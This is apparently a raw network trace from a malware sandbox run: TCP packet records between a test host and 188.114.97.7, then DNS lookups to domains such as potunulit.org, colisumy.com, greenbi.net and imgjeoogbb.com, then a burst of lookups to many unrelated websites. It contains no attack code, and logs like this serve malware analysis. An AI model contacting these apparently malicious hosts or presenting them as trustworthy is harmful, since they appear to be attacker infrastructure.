Jul 27, 2023 18:27:10.379005909 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379014015 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379051924 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379098892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379110098 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379144907 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379144907 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379164934 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379190922 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379236937 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379251957 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379281998 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379328966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379345894 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379375935 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379388094 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379421949 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379467010 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379481077 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379512072 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379556894 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379575968 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379601002 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379607916 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379621983 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379642963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379664898 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379674911 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379686117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379697084 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379707098 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379725933 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379729033 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379741907 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379750013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379765987 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379771948 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379781961 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379792929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379815102 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379825115 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379825115 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379836082 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379846096 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379858017 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379863024 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379879951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379888058 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379901886 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379914999 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379923105 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379931927 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379944086 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379947901 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379965067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379973888 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.379987955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.379993916 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380009890 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380017042 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380031109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380034924 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380052090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380055904 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380074024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380075932 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380094051 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380100012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380115032 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380120039 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380136967 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380152941 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380157948 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380172968 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380178928 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380192041 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380198956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380209923 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380220890 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380225897 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380242109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380250931 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380270958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380287886 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380287886 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380294085 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380317926 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380331039 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380340099 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380348921 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380362034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380371094 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380382061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380393982 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380403042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380424976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380433083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380433083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380446911 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380460978 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380467892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380477905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380489111 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380496979 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380511045 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380518913 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380532026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380534887 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380553961 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380563974 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380573988 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380580902 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380594969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380615950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380620003 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380636930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380639076 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380657911 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380661964 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380678892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380687952 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380687952 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380702019 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380712986 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380723000 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380744934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380765915 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380768061 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380786896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380789042 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380806923 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.380809069 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.380830050 CEST	49713	80	192.168.2.4	188.114.97.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2023 18:26:40.315074921 CEST	192.168.2.4	8.8.8.8	0x98f0	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.773893118 CEST	192.168.2.4	8.8.8.8	0xa17d	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:45.425993919 CEST	192.168.2.4	8.8.8.8	0xaf2	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:47.239728928 CEST	192.168.2.4	8.8.8.8	0xdc32	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:49.314918995 CEST	192.168.2.4	8.8.8.8	0x30dc	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.246285915 CEST	192.168.2.4	8.8.8.8	0x45ac	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:51.759881020 CEST	192.168.2.4	8.8.8.8	0xdc67	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:55.838865042 CEST	192.168.2.4	8.8.8.8	0x636c	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:58.396126032 CEST	192.168.2.4	8.8.8.8	0xcdc5	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:59.064007998 CEST	192.168.2.4	8.8.8.8	0xe3c	Standard query (0)	nordskills.eu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:00.444061041 CEST	192.168.2.4	8.8.8.8	0x2339	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.144911051 CEST	192.168.2.4	8.8.8.8	0xf53d	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.557430983 CEST	192.168.2.4	8.8.8.8	0x890	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.903877974 CEST	192.168.2.4	8.8.8.8	0xd9b1	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:04.501528978 CEST	192.168.2.4	8.8.8.8	0x3cd8	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.616354942 CEST	192.168.2.4	8.8.8.8	0x41a2	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:07.540112019 CEST	192.168.2.4	8.8.8.8	0x97c	Standard query (0)	us.imgjeoigaa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:09.364936113 CEST	192.168.2.4	8.8.8.8	0x594b	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.317188978 CEST	192.168.2.4	8.8.8.8	0x6b88	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:16.832305908 CEST	192.168.2.4	8.8.8.8	0x5103	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:16.954941034 CEST	192.168.2.4	8.8.8.8	0xeba8	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.002612114 CEST	192.168.2.4	8.8.8.8	0x2999	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.445518017 CEST	192.168.2.4	8.8.8.8	0xa843	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.556561947 CEST	192.168.2.4	8.8.8.8	0x5a08	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:18.402646065 CEST	192.168.2.4	8.8.8.8	0x9b20	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:18.952902079 CEST	192.168.2.4	8.8.8.8	0x6ab6	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:20.690296888 CEST	192.168.2.4	8.8.8.8	0x47c5	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:21.522126913 CEST	192.168.2.4	8.8.8.8	0xcd47	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:21.772864103 CEST	192.168.2.4	8.8.8.8	0xf9da	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.142605066 CEST	192.168.2.4	8.8.8.8	0x8e7e	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.173494101 CEST	192.168.2.4	8.8.8.8	0xf694	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.188755989 CEST	192.168.2.4	8.8.8.8	0xf7ef	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.475809097 CEST	192.168.2.4	8.8.8.8	0xf77e	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.488298893 CEST	192.168.2.4	8.8.8.8	0x28f8	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:23.137352943 CEST	192.168.2.4	8.8.8.8	0x5f3e	Standard query (0)	nordskills.eu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:23.940439939 CEST	192.168.2.4	8.8.8.8	0xf064	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:26.252990007 CEST	192.168.2.4	8.8.8.8	0xa65c	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:27.209981918 CEST	192.168.2.4	8.8.8.8	0x7015	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.008028984 CEST	192.168.2.4	8.8.8.8	0xf89d	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.889776945 CEST	192.168.2.4	8.8.8.8	0xf62d	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.951395988 CEST	192.168.2.4	8.8.8.8	0x7708	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.447930098 CEST	192.168.2.4	8.8.8.8	0xb983	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.137283087 CEST	192.168.2.4	8.8.8.8	0x2bc5	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.603142023 CEST	192.168.2.4	8.8.8.8	0xa207	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.338020086 CEST	192.168.2.4	8.8.8.8	0x41b4	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.629637003 CEST	192.168.2.4	8.8.8.8	0x9112	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:34.905704021 CEST	192.168.2.4	8.8.8.8	0xd027	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.217396975 CEST	192.168.2.4	8.8.8.8	0x89d4	Standard query (0)	shsplatform.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.864397049 CEST	192.168.2.4	8.8.8.8	0x4be1	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.131617069 CEST	192.168.2.4	8.8.8.8	0x20a	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.706295967 CEST	192.168.2.4	8.8.8.8	0x2842	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.337878942 CEST	192.168.2.4	8.8.8.8	0x2d88	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.253068924 CEST	192.168.2.4	8.8.8.8	0x92a0	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.628496885 CEST	192.168.2.4	8.8.8.8	0x18e1	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.938256979 CEST	192.168.2.4	8.8.8.8	0x2e26	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.438257933 CEST	192.168.2.4	8.8.8.8	0xaf37	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.685408115 CEST	192.168.2.4	8.8.8.8	0xe2f5	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.007637024 CEST	192.168.2.4	8.8.8.8	0xf4e	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.470738888 CEST	192.168.2.4	8.8.8.8	0x57ed	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:41.500952959 CEST	192.168.2.4	8.8.8.8	0xfa0c	Standard query (0)	reinroot.top	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:41.713807106 CEST	192.168.2.4	8.8.8.8	0xfec8	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.604156971 CEST	192.168.2.4	8.8.8.8	0xd66	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.003671885 CEST	192.168.2.4	8.8.8.8	0x6a8d	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.077941895 CEST	192.168.2.4	8.8.8.8	0x4dbb	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.936212063 CEST	192.168.2.4	8.8.8.8	0x6c94	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.168999910 CEST	192.168.2.4	8.8.8.8	0x4c43	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.862663984 CEST	192.168.2.4	8.8.8.8	0x30be	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.518033981 CEST	192.168.2.4	8.8.8.8	0xf6e6	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:46.771759033 CEST	192.168.2.4	8.8.8.8	0x8cdf	Standard query (0)	h170013.srv22.test-hf.su	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.637345076 CEST	192.168.2.4	8.8.8.8	0x36c4	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:47.895294905 CEST	192.168.2.4	8.8.8.8	0x6c4e	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:48.105180979 CEST	192.168.2.4	8.8.8.8	0x14f	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:49.107279062 CEST	192.168.2.4	8.8.8.8	0x7336	Standard query (0)	h170013.srv22.test-hf.su	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:50.055704117 CEST	192.168.2.4	8.8.8.8	0xf0bb	Standard query (0)	greenbi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:54.411739111 CEST	192.168.2.4	8.8.8.8	0xe4e3	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:57.646384954 CEST	192.168.2.4	8.8.8.8	0xa111	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:04.508786917 CEST	192.168.2.4	8.8.8.8	0xaa03	Standard query (0)	aa.imgjeoogbb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.089422941 CEST	192.168.2.4	8.8.8.8	0x255d	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.089673042 CEST	192.168.2.4	8.8.8.8	0x77dc	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.090256929 CEST	192.168.2.4	8.8.8.8	0xcc5	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.090650082 CEST	192.168.2.4	8.8.8.8	0x3abf	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.091062069 CEST	192.168.2.4	8.8.8.8	0x2f07	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.091434956 CEST	192.168.2.4	8.8.8.8	0x8785	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.092730999 CEST	192.168.2.4	8.8.8.8	0x2ea8	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.092911959 CEST	192.168.2.4	8.8.8.8	0xb26d	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.093992949 CEST	192.168.2.4	8.8.8.8	0x1590	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:13.094623089 CEST	192.168.2.4	8.8.8.8	0x780f	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0x780f	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0x2ea8	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0x1590	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0xb26d	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0x2f07	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0x8785	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0xcc5	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096333981 CEST	192.168.2.4	8.8.8.8	0x3abf	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096431971 CEST	192.168.2.4	8.8.8.8	0x77dc	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.096432924 CEST	192.168.2.4	8.8.8.8	0x255d	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.186459064 CEST	192.168.2.4	8.8.8.8	0x99de	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.214795113 CEST	192.168.2.4	8.8.8.8	0xaaf6	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.227123976 CEST	192.168.2.4	8.8.8.8	0x563c	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.305301905 CEST	192.168.2.4	8.8.8.8	0xd568	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.315741062 CEST	192.168.2.4	8.8.8.8	0x428a	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.352430105 CEST	192.168.2.4	8.8.8.8	0xadef	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.438523054 CEST	192.168.2.4	8.8.8.8	0xb584	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.476829052 CEST	192.168.2.4	8.8.8.8	0xa8fb	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.514724016 CEST	192.168.2.4	8.8.8.8	0x3f43	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.607690096 CEST	192.168.2.4	8.8.8.8	0xd976	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.705863953 CEST	192.168.2.4	8.8.8.8	0x2172	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.787445068 CEST	192.168.2.4	8.8.8.8	0x2804	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.834691048 CEST	192.168.2.4	8.8.8.8	0xdedc	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:14.913058043 CEST	192.168.2.4	8.8.8.8	0xc8ef	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
